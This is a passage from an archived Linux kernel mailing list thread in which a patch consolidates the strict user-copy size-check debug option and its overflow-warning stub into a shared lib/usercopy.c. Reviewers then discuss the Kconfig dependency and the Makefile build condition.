 create mode 100644 lib/usercopy.c

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index a2a47d9..96be92f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -1,5 +1,6 @@
 config PARISC
 	def_bool y
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select HAVE_IDE
 	select HAVE_OPROFILE
 	select HAVE_FUNCTION_TRACER if 64BIT
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 7305ac8..bc989e5 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,18 +12,4 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 endmenu
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 4b50537..516621f 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -91,6 +91,7 @@ config S390
 	select ARCH_INLINE_WRITE_UNLOCK_BH
 	select ARCH_INLINE_WRITE_UNLOCK_IRQ
 	select ARCH_INLINE_WRITE_UNLOCK_IRQRESTORE
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_SAVE_PAGE_KEYS if HIBERNATION
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select BUILDTIME_EXTABLE_SORT
diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
index fc32a2d..c56878e 100644
--- a/arch/s390/Kconfig.debug
+++ b/arch/s390/Kconfig.debug
@@ -17,20 +17,6 @@ config STRICT_DEVMEM
 
 	  If you are unsure, say Y.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	def_bool n
-	prompt "Strict user copy size checks"
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time warnings.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 config S390_PTDUMP
 	bool "Export kernel pagetable layout to userspace via debugfs"
 	depends on DEBUG_KERNEL
diff --git a/arch/s390/lib/Makefile b/arch/s390/lib/Makefile
index 6ab0d0b..20b0e97 100644
--- a/arch/s390/lib/Makefile
+++ b/arch/s390/lib/Makefile
@@ -3,7 +3,6 @@
 #
 
 lib-y += delay.o string.o uaccess_std.o uaccess_pt.o
-obj-y += usercopy.o
 obj-$(CONFIG_32BIT) += div64.o qrnnd.o ucmpdi2.o mem32.o
 obj-$(CONFIG_64BIT) += mem64.o
 lib-$(CONFIG_64BIT) += uaccess_mvcos.o
diff --git a/arch/s390/lib/usercopy.c b/arch/s390/lib/usercopy.c
deleted file mode 100644
index 14b363f..0000000
--- a/arch/s390/lib/usercopy.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <linux/module.h>
-#include <linux/bug.h>
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/sparc/lib/Makefile b/arch/sparc/lib/Makefile
index 8410065f2..dbe119b 100644
--- a/arch/sparc/lib/Makefile
+++ b/arch/sparc/lib/Makefile
@@ -45,4 +45,3 @@ obj-y                 += iomap.o
 obj-$(CONFIG_SPARC32) += atomic32.o ucmpdi2.o
 obj-y                 += ksyms.o
 obj-$(CONFIG_SPARC64) += PeeCeeI.o
-obj-y                 += usercopy.o
diff --git a/arch/sparc/lib/usercopy.c b/arch/sparc/lib/usercopy.c
deleted file mode 100644
index 5c4284c..0000000
--- a/arch/sparc/lib/usercopy.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <linux/module.h>
-#include <linux/kernel.h>
-#include <linux/bug.h>
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 1404497..9d65a48 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -19,6 +19,7 @@ config TILE
 	select HAVE_SYSCALL_WRAPPERS if TILEGX
 	select HAVE_VIRT_TO_BUS
 	select SYS_HYPERVISOR
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_CLOCKEVENTS
 	select MODULES_USE_ELF_RELA
@@ -117,13 +118,6 @@ config STRICT_DEVMEM
 config SMP
 	def_bool y
 
-# Allow checking for compile-time determined overflow errors in
-# copy_from_user().  There are still unprovable places in the
-# generic code as of 2.6.34, so this option is not really compatible
-# with -Werror, which is more useful in general.
-config DEBUG_COPY_FROM_USER
-	def_bool n
-
 config HVC_TILE
 	depends on TTY
 	select HVC_DRIVER
diff --git a/arch/tile/include/asm/uaccess.h b/arch/tile/include/asm/uaccess.h
index 9ab078a..8a082bc 100644
--- a/arch/tile/include/asm/uaccess.h
+++ b/arch/tile/include/asm/uaccess.h
@@ -395,7 +395,12 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
 	return n;
 }
 
-#ifdef CONFIG_DEBUG_COPY_FROM_USER
+#ifdef CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
+/*
+ * There are still unprovable places in the generic code as of 2.6.34, so this
+ * option is not really compatible with -Werror, which is more useful in
+ * general.
+ */
 extern void copy_from_user_overflow(void)
 	__compiletime_warning("copy_from_user() size is not provably correct");
 
diff --git a/arch/tile/lib/uaccess.c b/arch/tile/lib/uaccess.c
index f8d398c..030abe3 100644
--- a/arch/tile/lib/uaccess.c
+++ b/arch/tile/lib/uaccess.c
@@ -22,11 +22,3 @@ int __range_ok(unsigned long addr, unsigned long size)
 		 is_arch_mappable_range(addr, size));
 }
 EXPORT_SYMBOL(__range_ok);
-
-#ifdef CONFIG_DEBUG_COPY_FROM_USER
-void copy_from_user_overflow(void)
-{
-       WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
-#endif
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index a4f24f5..f045e0a 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -20,6 +20,7 @@ config X86_64
 ### Arch settings
 config X86
 	def_bool y
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select HAVE_AOUT if X86_32
 	select HAVE_UNSTABLE_SCHED_CLOCK
 	select ARCH_SUPPORTS_NUMA_BALANCING
diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
index b322f12..dea0da5 100644
--- a/arch/x86/Kconfig.debug
+++ b/arch/x86/Kconfig.debug
@@ -292,20 +292,6 @@ config OPTIMIZE_INLINING
 
 	  If unsure, say N.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 config DEBUG_NMI_SELFTEST
 	bool "NMI Selftest"
 	depends on DEBUG_KERNEL && X86_LOCAL_APIC
diff --git a/arch/x86/lib/usercopy_32.c b/arch/x86/lib/usercopy_32.c
index f0312d7..3eb18ac 100644
--- a/arch/x86/lib/usercopy_32.c
+++ b/arch/x86/lib/usercopy_32.c
@@ -689,9 +689,3 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
 	return n;
 }
 EXPORT_SYMBOL(_copy_from_user);
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index 28be08c..ae80518 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -1292,6 +1292,24 @@ config LATENCYTOP
 	  Enable this option if you want to use the LatencyTOP tool
 	  to find out which userspace is blocking on what kernel operations.
 
+config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	bool
+
+config DEBUG_STRICT_USER_COPY_CHECKS
+	bool "Strict user copy size checks"
+	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
+	help
+	  Enabling this option turns a certain set of sanity checks for user
+	  copy operations into compile time failures.
+
+	  The copy_from_user() etc checks are there to help test if there
+	  are sufficient security checks on the length argument of
+	  the copy operation, by having gcc prove that the argument is
+	  within bounds.
+
+	  If unsure, say N.
+
 source mm/Kconfig.debug
 source kernel/trace/Kconfig
 
diff --git a/lib/Makefile b/lib/Makefile
index 32f4455..59fabd0 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -15,6 +15,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
 	 is_single_threaded.o plist.o decompress.o kobject_uevent.o \
 	 earlycpio.o percpu-refcount.o
 
+lib-$(CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
 
diff --git a/lib/usercopy.c b/lib/usercopy.c
new file mode 100644
index 0000000..4f5b1dd
--- /dev/null
+++ b/lib/usercopy.c
@@ -0,0 +1,9 @@
+#include <linux/export.h>
+#include <linux/bug.h>
+#include <linux/uaccess.h>
+
+void copy_from_user_overflow(void)
+{
+	WARN(1, "Buffer overflow detected!\n");
+}
+EXPORT_SYMBOL(copy_from_user_overflow);
-- 
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum,
hosted by The Linux Foundation

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 20:32:20 +0000
Lines: 63
Approved: news@gmane.org
Message-ID: <201302272032.21014.arnd@arndb.de>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1361997171 32551 80.91.229.3 (27 Feb 2013 20:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 20:32:51 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 21:33:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAngd-0005ji-G2
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 21:33:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753346Ab3B0Uct (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 15:32:49 -0500
Original-Received: from moutng.kundenserver.de ([212.227.126.171]:58569 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752706Ab3B0Ucs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 15:32:48 -0500
Original-Received: from klappe2.localnet (HSI-KBW-46-223-90-92.hsi.kabel-badenwuerttemberg.de [46.223.90.92])
	by mrelayeu.kundenserver.de (node=mrbap1) with ESMTP (Nemesis)
	id 0MPqr4-1UEfYL1SNO-005B3E; Wed, 27 Feb 2013 21:32:23 +0100
User-Agent: KMail/1.12.2 (Linux/3.8.0-6-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org>
X-Provags-ID: V02:K0:KdRqLIm2MHRSi+Ma49YnuBYLoPy4ywUwDgCninoe0LI
 jI6EkwIYSwjlk+cQpZWzyu2Plki+Bn6SEty/a4iEcKhU9HBkNF
 HjbnAi29AuQ30EgO7gt8jIw4BFEfUd2pswTPrWyOuNyVGqFRX1
 CXZ780gJio0OpE8NG/Q1/IahICGejbs8adE0SxqwGGVTwVqIq8
 gZIlN9E3zvN1bIPnY6EPpyHXYigZ+CNyQZ+vORBPqT94R6PZZw
 YWsvJpxhyQganKEcsibFb5HfDI2XUFZYraM0Yj4Aldlc//yvJr
 nOyfMWUss2l16JvtVnhCij4ZzgvMyNCJ+0twIoJarD/L4sMUNC
 RG3/vGmtQbxLgdOjPBYw=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4826 gmane.linux.kernel:1448298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4826>

On Wednesday 27 February 2013, Stephen Boyd wrote:
> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> index 28be08c..ae80518 100644
> --- a/lib/Kconfig.debug
> +++ b/lib/Kconfig.debug
> @@ -1292,6 +1292,24 @@ config LATENCYTOP
>  	  Enable this option if you want to use the LatencyTOP tool
>  	  to find out which userspace is blocking on what kernel operations.
>  
> +config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> +	bool
> +
> +config DEBUG_STRICT_USER_COPY_CHECKS
> +	bool "Strict user copy size checks"
> +	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> +	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
> +	help
> +	  Enabling this option turns a certain set of sanity checks for user
> +	  copy operations into compile time failures.
> +
> +	  The copy_from_user() etc checks are there to help test if there
> +	  are sufficient security checks on the length argument of
> +	  the copy operation, by having gcc prove that the argument is
> +	  within bounds.
> +
> +	  If unsure, say N.
> +

Is there actually any architecture dependency left after this?
I wonder if we actually need the ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
symbol, or could just show the DEBUG_STRICT_USER_COPY_CHECKS option
on all architectures.

It's fine to do your patch as a first step though, which would not
change the behavior.

> diff --git a/lib/Makefile b/lib/Makefile
> index 32f4455..59fabd0 100644
> --- a/lib/Makefile
> +++ b/lib/Makefile
> @@ -15,6 +15,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
>  	 is_single_threaded.o plist.o decompress.o kobject_uevent.o \
>  	 earlycpio.o percpu-refcount.o
>  
> +lib-$(CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
>  lib-$(CONFIG_MMU) += ioremap.o
>  lib-$(CONFIG_SMP) += cpumask.o
>

I think this should instead be

+lib-$(DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o

No point building that file if we are not using it.

Other than that, 

Acked-by: Arnd Bergmann <arnd@arndb.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 12:42:17 -0800
Lines: 72
Approved: news@gmane.org
Message-ID: <512E6FA9.4060504@codeaurora.org>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1361997744 6084 80.91.229.3 (27 Feb 2013 20:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 20:42:24 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 21:42:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAnpo-00025W-J1
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 21:42:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757049Ab3B0UmT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 15:42:19 -0500
Original-Received: from wolverine01.qualcomm.com ([199.106.114.254]:20306 "EHLO
	wolverine01.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753758Ab3B0UmS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 15:42:18 -0500
X-IronPort-AV: E=Sophos;i="4.84,750,1355126400"; 
   d="scan'208";a="26867944"
Original-Received: from pdmz-ns-snip_115_219.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.115.219])
  by wolverine01.qualcomm.com with ESMTP/TLS/DHE-RSA-AES256-SHA; 27 Feb 2013 12:42:18 -0800
Original-Received: from [10.46.166.8] (pdmz-ns-snip_218_1.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 1175D10004B1;
	Wed, 27 Feb 2013 12:42:18 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3
In-Reply-To: <201302272032.21014.arnd@arndb.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4827 gmane.linux.kernel:1448303
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4827>

On 02/27/13 12:32, Arnd Bergmann wrote:
> On Wednesday 27 February 2013, Stephen Boyd wrote:
>> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
>> index 28be08c..ae80518 100644
>> --- a/lib/Kconfig.debug
>> +++ b/lib/Kconfig.debug
>> @@ -1292,6 +1292,24 @@ config LATENCYTOP
>>  	  Enable this option if you want to use the LatencyTOP tool
>>  	  to find out which userspace is blocking on what kernel operations.
>>  
>> +config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
>> +	bool
>> +
>> +config DEBUG_STRICT_USER_COPY_CHECKS
>> +	bool "Strict user copy size checks"
>> +	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
>> +	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
>> +	help
>> +	  Enabling this option turns a certain set of sanity checks for user
>> +	  copy operations into compile time failures.
>> +
>> +	  The copy_from_user() etc checks are there to help test if there
>> +	  are sufficient security checks on the length argument of
>> +	  the copy operation, by having gcc prove that the argument is
>> +	  within bounds.
>> +
>> +	  If unsure, say N.
>> +
> Is there actually any architecture dependency left after this?
> I wonder if we actually need the ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> symbol, or could just show the DEBUG_STRICT_USER_COPY_CHECKS option
> on all architectures.
>
> It's fine to do your patch as a first step though, which would not
> change the behavior.

A lot of arches seem to not want to enable it because false positives
are everywhere. It really depends on how good the compiler is at doing
constant propagation and dead code removal.

>
>> diff --git a/lib/Makefile b/lib/Makefile
>> index 32f4455..59fabd0 100644
>> --- a/lib/Makefile
>> +++ b/lib/Makefile
>> @@ -15,6 +15,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
>>  	 is_single_threaded.o plist.o decompress.o kobject_uevent.o \
>>  	 earlycpio.o percpu-refcount.o
>>  
>> +lib-$(CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
>>  lib-$(CONFIG_MMU) += ioremap.o
>>  lib-$(CONFIG_SMP) += cpumask.o
>>
> I think this should instead be
>
> +lib-$(DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
>
> No point building that file if we are not using it.

We still need it to link the kernel because the callers of the function
don't have ifdefs. Also, all arches were doing an obj-y before, so this
is equivalent.

-- 
Qualcomm Innovation Center, Inc. is a member of Code Aurora Forum,
hosted by The Linux Foundation

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 21:33:27 +0000
Lines: 68
Approved: news@gmane.org
Message-ID: <201302272133.27466.arnd@arndb.de>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362000839 3451 80.91.229.3 (27 Feb 2013 21:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 21:33:59 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 22:34:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAodl-0004Vb-Sd
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 22:34:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752721Ab3B0Vd4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 16:33:56 -0500
Original-Received: from moutng.kundenserver.de ([212.227.17.9]:54645 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750955Ab3B0Vdz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 16:33:55 -0500
Original-Received: from klappe2.localnet (HSI-KBW-46-223-90-92.hsi.kabel-badenwuerttemberg.de [46.223.90.92])
	by mrelayeu.kundenserver.de (node=mrbap2) with ESMTP (Nemesis)
	id 0MAk71-1TzUkU3LOV-00BfgF; Wed, 27 Feb 2013 22:33:30 +0100
User-Agent: KMail/1.12.2 (Linux/3.8.0-6-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <512E6FA9.4060504@codeaurora.org>
X-Provags-ID: V02:K0:S+7V5DEm8QwC/NY9prAR3Y4stz9L2LIFd42V2ORiBhs
 Tiw/SS6EJBc7xkB+nhjBxn1x70S9iHvDcBDnlSrOGqrxvmJyh9
 Rt5rUoJ0iqqCmS5JZQePCtU865jdMZKgdEv3zWcGhJLfqVuKtQ
 PdSyS5ylConMTjJN3uCQ28EfctJpZfmQEm66XrDm0M4a4l5x8o
 guW4RZDnyw0mGfbvJMsqpf+uqe6MZVaYW2PnQzokdhv0wKlqBy
 InN3wUG0VWtVthfxGggERvBpIONiRetOIFdf0eeEfzE7MoCF3L
 /utJtIufH2uOSofvc+PzbU9JBgQG8eJ9UIzI1/DNaQunbCrBpI
 942nUiSxjdJTkrxcZyL4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4828 gmane.linux.kernel:1448318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4828>

On Wednesday 27 February 2013, Stephen Boyd wrote:
> On 02/27/13 12:32, Arnd Bergmann wrote:
> > On Wednesday 27 February 2013, Stephen Boyd wrote:
> >> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> >> index 28be08c..ae80518 100644
> >> --- a/lib/Kconfig.debug
> >> +++ b/lib/Kconfig.debug
> >> @@ -1292,6 +1292,24 @@ config LATENCYTOP
> >>  	  Enable this option if you want to use the LatencyTOP tool
> >>  	  to find out which userspace is blocking on what kernel operations.
> >>  
> >> +config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> >> +	bool
> >> +
> >> +config DEBUG_STRICT_USER_COPY_CHECKS
> >> +	bool "Strict user copy size checks"
> >> +	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> >> +	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
> >> +	help
> >> +	  Enabling this option turns a certain set of sanity checks for user
> >> +	  copy operations into compile time failures.
> >> +
> >> +	  The copy_from_user() etc checks are there to help test if there
> >> +	  are sufficient security checks on the length argument of
> >> +	  the copy operation, by having gcc prove that the argument is
> >> +	  within bounds.
> >> +
> >> +	  If unsure, say N.
> >> +
> > Is there actually any architecture dependency left after this?
> > I wonder if we actually need the ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> > symbol, or could just show the DEBUG_STRICT_USER_COPY_CHECKS option
> > on all architectures.
> >
> > It's fine to do your patch as a first step though, which would not
> > change the behavior.
> 
> A lot of arches seem to not want to enable it because false positives
> are everywhere. It really depends on how good the compiler is at doing
> constant propagation and dead code removal.

Ok, I see. Of course they would not need to enable that option, but
I guess if we know that enabling it doesn't work, there is no point
in providing the option.

> >>  
> >> +lib-$(CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
> >>  lib-$(CONFIG_MMU) += ioremap.o
> >>  lib-$(CONFIG_SMP) += cpumask.o
> >>
> > I think this should instead be
> >
> > +lib-$(DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
> >
> > No point building that file if we are not using it.
> 
> We still need it to link the kernel because the callers of the function
> don't have ifdefs. Also, all arches were doing an obj-y before, so this
> is equivalent.

Ok.

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: upcoming patches for 3.9
Date: Wed, 27 Feb 2013 23:11:37 +0100
Lines: 9
Approved: news@gmane.org
